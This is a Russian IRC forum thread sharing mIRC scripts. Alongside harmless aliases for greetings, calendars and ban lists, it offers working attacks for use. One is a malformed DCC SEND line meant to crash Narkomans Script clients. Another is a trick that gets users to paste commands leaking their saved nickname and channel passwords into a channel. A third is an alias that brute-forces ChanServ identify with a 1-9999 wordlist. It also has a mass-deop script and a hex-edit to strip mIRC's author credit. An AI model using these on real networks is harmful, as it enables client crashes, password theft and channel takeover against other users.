Forums.Avtograd.Ru: Scripting - Forums.Avtograd.Ru

Перейти к содержимому

Страница 1 из 1
  • Вы не можете создать новую тему
  • Вы не можете ответить в тему

Scripting Сюда выкладываем самописные и готовые скрипты для IRC

#1 Пользователь офлайн   Wolfgang

  • Новичок
  • Pip
  • Группа: Пользователи
  • Сообщений: 75
  • Регистрация: 01 Ноябрь 07

Отправлено 27 Сентябрь 2008 - 22:11

Очень бы хотелось видеть у темы право на жизнь.Думаю будет очень полезно начинающим и не только в освоении IRC

Кину несколько полезных примеров:
Скрипт удержания исключений из бана на 4-е маски,может быть кому то и пригодиться...

on *:rawmode:#:if (%quardie.enabled == on) && (-e isin $1 && $address($me,2) isin $2- && $nick != $me) { mode $chan +eeee $address($me,1) $address($me,2) $address($me,3) $address($me,4) $me $address($me,1) $me $address($me,2) $me $address($me,3) $me $address($me,4) }

Этот скрипт пишет логи на канале #канал то, кто(юзер) написал вам в приват:

on *:TEXT:*:?: {
msg #канал ---> $nick $+  $1-
}

А вот этот скрипт кикбанит всех Гусей(Guest*) при заходе на канал на 20сек,если у вас Оп/Хоп:

on гусь:JOIN:#канал: {
if (($me isop $chan) || ($me ishop $chan)) { /ban -ku20 $chan $nick 8,1/!\4DANGER8/!\13,1Гусь спёкся11 $nick 9Бан 5на7 20 сек.6 Смени ник и заходи! }
}
предварительно вбиваем команду в эдитбокс:
/auser гусь Guest*!*@*

Скрипт всех автоматом кикбанит при заходе на канал #канал любых ников, если у вас Оп/Хоп:

on ник:JOIN:#канал: {
if (($me isop $chan) || ($me ishop $chan)) { /ban -k $chan $nick 8,1/!\4DANGER8/!\13,1ИДИ 11 $nick 9Банан 5тебе 7В 6ЗУБЫ! }
}
предварительно вбиваем команду в эдитбокс:
/auser ник *!*@*

Этот скрипт удерживает мод ключа +k на канале #канал если кто либо ChanServ или юзер попытаються его снять:

on *:MODE:#канал: {
if (-*k* iswm $1) && ($chan) { mode $chan +lk 1 hMва4лдф350834FE5u67 }
}

Скрипты автоприветствия и автопрощания ника на канале #канал нотис сообщением:

on ник:JOIN:#: {
/notice $nick 8,1Приветствую тебя 11 $nick 13 на канале 10 $chan 0 Очень прошу тебя ознакомиться с правилами канала
}
on ник:PART:#: {
/notice $nick 8,1Вернись 11 $nick 13 на канал 10 $chan 0 Не покидай нас (((( 4 Ты нам очень нужен...
}

А этот небольшой алиасик кидаем в скрипты, он переводит месяца с англ. на рус., а также отображает года животных в идентификаторе времени, даты... - $asctime

alias month {
var %mesiac $asctime(mmmm)
if (%mesiac == january) var %month Янаварь
if (%mesiac == february) var %month Февраль
if (%mesiac == march) var %month Март
if (%mesiac == april) var %month Апрель
if (%mesiac == may) var %month Май
if (%mesiac == june) var %month Июнь
if (%mesiac == july) var %month Июль
if (%mesiac == august) var %month Август
if (%mesiac == september) var %month Сентябрь
if (%mesiac == october) var %month Октябрь
if (%mesiac == november) var %month Ноябрь
if (%mesiac == december) var %month Декабрь
return %month
}
alias year {
var %god $asctime(yyyy)
if (%god == 2008) var %year крысы
if (%god == 2009) var %year быка
if (%god == 2010) var %year тигра
if (%god == 2011) var %year кота
if (%god == 2012) var %year дракона
if (%god == 2013) var %year змеи
if (%god == 2014) var %year лошади
if (%god == 2015) var %year козы
if (%god == 2016) var %year обезьяны
if (%god == 2017) var %year петуха
if (%god == 2018) var %year собаки
if (%god == 2018) var %year свиньи
return %year
}

а вот это у меня в менюшках находиться:

.Моё время: nvremia | /day | say 11,1 13 $time $+ 11 %minnew %minb %chasnew 12 %vrem 8 $asctime(dd/mm/yyyy/9zzz) 0 День: 4 %day 14 Месяц: 3 $month 15 Год: 5 $year 7 $network
.-

Скрипт покажет календарь месяца за 2008 г., срабатывает при нажатии клавиши F7, кидаем в алиасы:

calendar {
if ($month == Октябрь) { me 11,1 Календарь 7 IRC 13 2008г.9 ( $month ) | say 0 Пн 1 6 13 20 27 | say 0 Вт 1   7 14 21 28 | say 0 Ср 1 1 8 15 22 29 | say 0 Чт 1 2 9 16 23 30 | say 0 Пт1 3 10 17 24 31 | say 4 Сб 1 4 11 18 25 | say 4 Вс 1 5 12 19 26 }
if ($month == Ноябрь) { me 11,1 Календарь 7 IRC 13 2008г.9 ( $month ) | say 0 Пн 1  3 10 17 24 | say 0 Вт 1   4 11 18 25 | say 0 Ср 1   5 12 19 26 | say 0 Чт 1   6 13 20 27 | say 0 Пт1   7 14 21 28 | say 4 Сб 1 1 8 15 22 29 | say 4 Вс 1 2 9 16 23 30 }
if ($month == Декабрь) { me 11,1 Календарь 7 IRC 13 2008г.9 ( $month ) | say 0 Пн1 1 8 15 22 29 | say 0 Вт 1 2 9 16 23 30 | say 0 Ср 1 3 10 17 24 31 | say 0 Чт 1 4 11 18 25 | say 0 Пт1 5 12 19 26 | say 4 Сб 1 6 13 20 27 | say 4 Вс 1 7 14 21 28 }
}
F7 /calendar
}

А это кидаем в алиасы, скрипт срабатывает при нажимании кнопок F11,F10 очень полезен если вас начинают флудить всеми возможными способами..., хотя просто включение игнора на ник или маску юзера тоже эффективно будет.

ignore_on {
/mode $me +g
/echo $chan 4 Вы 13 $me 4только что включили режим: 1 ГЛОБАЛЬНОЕ ИГНОРИРОВАНИЕ
}
F11 /ignore_on
}
ignore_off {
/mode $me -g
/echo $chan 4 Вы 13 $me 4только что выключили режим: 1 ГЛОБАЛЬНОЕ ИГНОРИРОВАНИЕ
}
F10 /ignore_off
}

Маленькие шалости над теми кто сидит со старым Narkomans Script v.3.5 :)
виной всему скрипт антикраш лежащий в самом Narkomans Script v.3.5

угнетать нарка: {
.raw -q PRIVMSG $$1 $+(:,$chr(1),DCC) send " $+ $str($rand(a,z) $+ $chr(32),250) $+ " 0 2130706433 $+(8192,$chr(1))
}

плагин лежащий на официальном сайте убирает эту бяку... http://ns-script.net.ru/

Маленькие шуточки, над "доверчивыми" юзерами,чтобы угнать пасс на ник в Narkomans Script. Чтобы это сработало, попросите юзера набрать или копировать\вставить в окно IRC эту команду(команды), те что снизу: :)

//say %nick_pass1
//msg #канал %nick_pass1 (здесь лучше,что бы на канале #канал ,через MLOCK включена была блокировка режимов: +ist-klmnpcR), т.е. /cs set #канал mlock +ist-klmnpcR

Это для тех кто юзает spider-script с сайта http://spider-script.clan.su
//say %nick1 %pass1 %nick2 %pass2

Но почему то на NeonScript это не срабатывает :( хотя переменные автоидента на канал и на ник имеються...:

//say %autoid.channel1 %autoid.passch1 %autoid.pass1 %autoid.nick1
0


Страница 1 из 1
  • Вы не можете создать новую тему
  • Вы не можете ответить в тему

Другие ответы в этой теме

#2 Пользователь офлайн   evs

  • Активный пользователь
  • PipPipPip
  • Группа: Модераторы
  • Сообщений: 867
  • Регистрация: 01 Ноябрь 07

Отправлено 05 Октябрь 2008 - 11:49

А зачем использовать цвета в скриптах, если на большинстве каналов они запрещены?
0

#3 Пользователь офлайн   Альф

  • Пользователь
  • PipPip
  • Группа: Пользователи
  • Сообщений: 257
  • Регистрация: 29 Июнь 08

Отправлено 06 Октябрь 2008 - 19:55

Просмотр сообщенияevs (5.10.2008, 11:49):

А зачем использовать цвета в скриптах, если на большинстве каналов они запрещены?
Может люди сидят на тех канала на которых цвета разрешены =))
0

#4 Пользователь офлайн   Wolfgang

  • Новичок
  • Pip
  • Группа: Пользователи
  • Сообщений: 75
  • Регистрация: 01 Ноябрь 07

Иконки сообщения  Отправлено 19 Октябрь 2008 - 09:32

Что то никто не торопиться тут написать, или выложить свой скрипт для IRC.Да даже написали бы свои улучшения в Mirc клиенте на командном уровне... - Изменения и улучшения в цветовых схемах неинтересны.

Скрипт для того что бы записать в файл slov.txt числа от 1 до 9999 с помощью IRC

slovarik {
var %i = 1
while (%i <= 9999) {
/echo 4 %i
/write -i slov.txt %i
inc %i
}
}
F1 /slovarik
}

Fack {
var %chan #$$?="Канал для fack?"
var %iden = cs identify
%iden %chan $read(slov.txt, 1)
%iden %chan $read(slov.txt, 2)
%iden %chan $read(slov.txt, 3)
%iden %chan $read(slov.txt, 4)
%iden %chan $read(slov.txt, 5)
}
F6 /Fack
}

Посмотреть список банов на канале #канал

spisban {
//echo -ag 4*** число ников на канале:6 $chan 1=4 $nick(#,0)
//echo -ag 4*** отмеченный ник:2 $snicks
//echo -ag 4*** список банов на канале:1 $ibl(#,1) 6(2поставил:1 $ibl(#,1).by 5 $ibl(#,1).date 6)
//echo -ag 4*** список банов на канале:1 $ibl(#,2) 6(2поставил:1 $ibl(#,2).by 5 $ibl(#,2).date 6)
//echo -ag 4*** список банов на канале:1 $ibl(#,3) 6(2поставил:1 $ibl(#,3).by 5 $ibl(#,3).date 6)
//echo -ag 4*** список банов на канале:1 $ibl(#,4) 6(2поставил:1 $ibl(#,4).by 5 $ibl(#,4).date 6)
}
F3 /spisban
}

Скрипт для лишения статусов (Оп\Хоп)групп ников от 4-х до 8-и на канале за один раз:

test4 {
//echo -ag Число ников на канале $chan - $nick(#,0)
if ($nick(#,0) == 4) && ($me isop $chan) { /mode $chan -oooo $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) }
if ($nick(#,0) == 4) && ($me ishop $chan) { /mode $chan -hhhh $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) }
if ($nick(#,0) == 5) && ($me isop $chan) { /mode $chan -oooo $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4)| /mode $chan -o $chan $nick(#,5) }
if ($nick(#,0) == 5) && ($me ishop $chan) { /mode $chan -hhhh $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) | /mode $chan -h $chan $nick(#,5) }
if ($nick(#,0) == 6) && ($me isop $chan) { /mode $chan -oooo $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4)| /mode $chan -oo $chan $nick(#,5) $nick(#,6) }
if ($nick(#,0) == 6) && ($me ishop $chan) { /mode $chan -hhhh $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) | /mode $chan -hh $chan $nick(#,5) $nick(#,6) }
if ($nick(#,0) == 7) && ($me isop $chan) { /mode $chan -oooo $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) | /mode $chan -ooo $chan $nick(#,5) $nick(#,6) $nick(#,7) }
if ($nick(#,0) == 7) && ($me ishop $chan) { /mode $chan -hhhh $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) | /mode $chan -hhh $chan $nick(#,5) $nick(#,6) $nick(#,7) }
if ($nick(#,0) == 8) && ($me isop $chan) { /mode $chan -oooo $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) | /mode $chan -oooo $chan $nick(#,5) $nick(#,6) $nick(#,7) $nick(#,8) }
if ($nick(#,0) == 8) && ($me ishop $chan) { /mode $chan -hhhh $chan $nick(#,1) $nick(#,2) $nick(#,3) $nick(#,4) | /mode $chan -hhhh $chan $nick(#,5) $nick(#,6) $nick(#,7) $nick(#,8) }
}
F2 /test4
}
0

#5 Пользователь офлайн   ..::XeLsInG::..

  • Пользователь
  • PipPip
  • Группа: Пользователи
  • Сообщений: 465
  • Регистрация: 02 Июль 08

Отправлено 19 Октябрь 2008 - 10:13

Дайте скрипт и файлик для винампа, чтобы нажал F11 и показал какой трек у тебя играет, aimp нЕ ПРЕДЛАГАТЬ !

В тюрьме столько не сидят сколько мы в интернете..
0

#6 Пользователь офлайн   Wolfgang

  • Новичок
  • Pip
  • Группа: Пользователи
  • Сообщений: 75
  • Регистрация: 01 Ноябрь 07

Отправлено 19 Октябрь 2008 - 11:26

Просмотр сообщения..::XeLsInG::.. (19.10.2008, 10:13):

Дайте скрипт и файлик для винампа, чтобы нажал F11 и показал какой трек у тебя играет, aimp нЕ ПРЕДЛАГАТЬ !

а зачем? уже есть и так готовые решения в скриптах Narkomans Script, Neon и прочие... IRC клиенты на базе Mirc,в менюшке на канал щёлкни мышкой, тама есть - "Сказать текущий трек" - Winamp | AIMP, когда трек играет.
А если именно нужна привязка к кнопочке F11, то сделай алиасик.

Сказать трек {
«команда на исполнение»
}
F11 /Сказать трек
}

И всовываешь это в Алиасы
alt+p жми,когда в IRC сидишь

Флаги, это вставляем в менюшки, там где приколы...:

..Германия1: {
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇЇЇ0,0ЇЇЇЇЇЇЇ1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 4,4ЇЇЇЇЇЇЇЇЇЇЇЇЇЇ0,0ЇЇЇ4,4ЇЇЇЇ0,0ЇЇ4,4ЇЇЇЇЇЇЇЇ
me 4,4ЇЇЇЇЇЇЇЇ0,0ЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇ4,4ЇЇЇЇЇЇЇЇ
me 4,4ЇЇЇЇЇЇЇЇ0,0ЇЇ4,4ЇЇЇЇ0,0ЇЇЇ4,4ЇЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 8,8ЇЇЇЇЇЇЇЇЇЇЇЇЇЇ0,0ЇЇЇЇЇЇЇ8,8ЇЇЇЇЇЇЇЇЇЇ
me 8,8ЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 8,8ЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇ
}
..Германия2: {
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ0,0ЇЇЇ1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ0,0ЇЇЇ1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇ0,0ЇЇЇЇЇЇЇЇЇЇЇЇЇ1,1ЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ0,0ЇЇЇ1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ0,0ЇЇЇ1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ0,0ЇЇЇ1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇ
me 1,1ЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇЇ
}
0

#7 Пользователь офлайн   Wolfgang

  • Новичок
  • Pip
  • Группа: Пользователи
  • Сообщений: 75
  • Регистрация: 01 Ноябрь 07

Иконки сообщения  Отправлено 08 Июнь 2009 - 17:48

Пользователи популярного клиента Mirc ?а так же скриптов на её основе(из популярных Neon , Narkomans Script , Noname Script и пр..)
Mirc VERSION хх Khaled Mardam-Bey - желаете удалить эту надпись, в ответ на CTCP Version replay ?
Открываете mirc.exe любым Hex редактором или даже обычным блокнотом Notepad++
откройте в меню "Поиск" и введите что искать - наберите в строку Khaled
или же Mardam и вам выдаст результат поиска, далее заменяете эту надпись любыми симвалами(буквами цифрами или даже просто подменяете пробелами,что лучше всего).Главное не менять размер экзешника,если захотите убрать эту строчку,или что то там лишнее поверх дописать. Иначе при сохранении результата,екзешник окажеться битым. И винда будет ругаться, что приложение не является исполняемым в win32
0

Страница 1 из 1
  • Вы не можете создать новую тему
  • Вы не можете ответить в тему

2 человек читают эту тему
0 пользователей, 2 гостей, 0 скрытых пользователей